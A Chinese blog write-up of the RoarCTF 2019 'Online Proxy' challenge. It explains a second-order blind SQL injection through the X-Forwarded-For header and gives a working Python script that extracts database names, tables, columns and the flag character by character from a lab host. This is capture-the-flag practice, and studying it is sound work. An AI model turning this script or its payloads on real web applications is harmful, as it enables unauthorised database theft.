[RoarCTF 2019]Online Proxy(x-forwarded-for盲注)

这道题点开题目

然后题目显示不出网,一开始误认为是ssrf了,但是没有更多的信息了。 

源码有一个ip会不会是修改X-Forwarded-For就可以了呢,抓包试一下, 

发现有两个ip,一个当前一个是last上一个的意思把,这个本地是我火狐插件默认的。

然后这里因为我经验少没感觉,看了大佬的讲解,才突然悟了,这一眼就可以看出一个sql注入的问题,因为last肯定存储到了一个数据库的里面不然查询10.244.80.206怎么能显示出来呢。

经验不足,然后这下子才想到了二次注入,因为一开始是直接存了进去而后来如果我们在输入10.244.不就会在数据库查询有没有存在,没有的话才存数据库里面吗,所以思路来了如果存入危险sql然后第二次查找就会进行回显。

这里我一开始用的命令是

0' or ascii(substr((select database()),1,1)) > 1 #

但是返回的还是本身,然后换成了 '0把后面的引号闭合掉就可以了,这里想了一下会不会是存入数据库value ( #)会把括号闭合掉,或者过滤都有可能。

 

 9上传两次就可以显现,因为第一次是存入数据库,第二次是查找

麻烦的就是呃呃不在当前数据库

import requests


url = "http://node4.buuoj.cn:28823/"

#这个head头好像必须加cookie
head ={
    "X-Forwarded-For":"",
    "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888"
}

# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag =""

for i in range(1,1000):
    low = 32
    high =137
    mid = (low+high)//2

    while(low < high):
        print(i,mid)
        '''插入sql语句'''
        payload1 = payload.format(i,mid)
        head["X-Forwarded-For"] = payload1
        print(head["X-Forwarded-For"])
        r = requests.get(url,headers=head)

        '''重新发送两次请求'''
        head["X-Forwarded-For"]= "penson"
        r = requests.get(url,headers=head)
        r = requests.get(url,headers=head)

        if "Last Ip: 1 " in r.text:
            low = mid+1
        else:
            high = mid

        mid =(low+high)//2


    if(mid ==32 or mid ==127):
        break
    flag +=chr(mid)
    print(flag)

print(flag)

 难点:

其实我想了很久在这里,为什么不能直接自己查自己注入的这条命令,然后点了半天都没有变化,这时候突然想了起来,他是查询 当前命令之前存入数据库中的,所以是查不到的,我的脚本自己注入了person这里是为了当前才能获得之前也就是注入点的回显。

 

 

 收获:

存在存入的功能,并且后续可以查询到,基本就有数据库,就可以联想到注入了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值